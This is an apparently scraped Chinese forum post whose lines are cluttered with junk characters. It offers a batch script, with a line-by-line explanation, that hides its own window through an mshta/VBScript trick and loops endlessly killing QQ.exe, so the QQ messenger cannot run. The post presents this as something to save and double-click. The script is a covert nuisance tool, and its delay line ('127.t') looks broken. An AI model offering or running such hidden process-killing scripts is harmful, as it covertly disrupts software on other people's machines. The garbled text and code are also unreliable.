|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。
3 e3 I. B# f% @" M3 s新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。 2 S2 y# }6 H+ f) g# s. y
5 f5 z1 H1 g3 ^% z4 T: W! T2 \) o@echo off 3 m6 J) j6 i0 x
if "%1" == "h" goto begin
) P2 K' Q" l; T5 \/ Pmshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
$ k" F. X5 a& e9 l. q0 G:begin
l8 ]4 g8 D+ m, i0 q- G" X# mtasklist |find /i "QQ.exe"
# ]0 n% }$ X) o& h2 A! D& Y% @4 dif %errorlevel%==0 (goto killit) else (goto next) 8 e( e! d8 {( _! B# N
:killit ! x$ x! [2 ?* }% [6 t- R) X
taskkill /f /im QQ.exe ( S$ F0 d# x+ _" c4 `0 ^( h
:next - y1 u0 c* d$ |# N# v
ping -n 3 127.t >nul 2>nul
$ ?9 ^+ U0 u& [: v4 b8 E/ Tgoto begin # R$ i0 ^0 v+ ]5 D' @
$ L; D- d9 p5 c( F代码到此为止
$ o& k/ m5 b7 H* M( d讲解如下:
) m4 w% O2 s, C4 G* N- E@echo off ------关闭回显
0 Q) ]6 A2 f& I1 @5 z w# `" rif "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行 $ j6 K. _$ a' g0 J( l t% ^' Z3 S
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码 ! z3 c2 q- ^5 k3 M6 y3 E
:begin ------------定一段名begin # n# a8 C, P, p9 m3 G
tasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe 8 x6 V: h. `# ^4 T
if %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next
& S& C* v: b7 T# W. p9 A# _:killit
) j: g+ j, o' F- a& y: Y" `taskkill /f /im QQ.exe----终结进程QQ.exe 5 | n( {* E5 W6 j3 {6 P
:next $ F$ S5 L8 V) ^% J H# P
ping -n 3 127.t >nul 2>nul -----延迟一段时间 7 B; H+ }! ~0 J) |5 A7 Q- G. B- Z2 I
goto begin--------------返回执行begin9 J- E# [2 B2 ]. z: L
|
|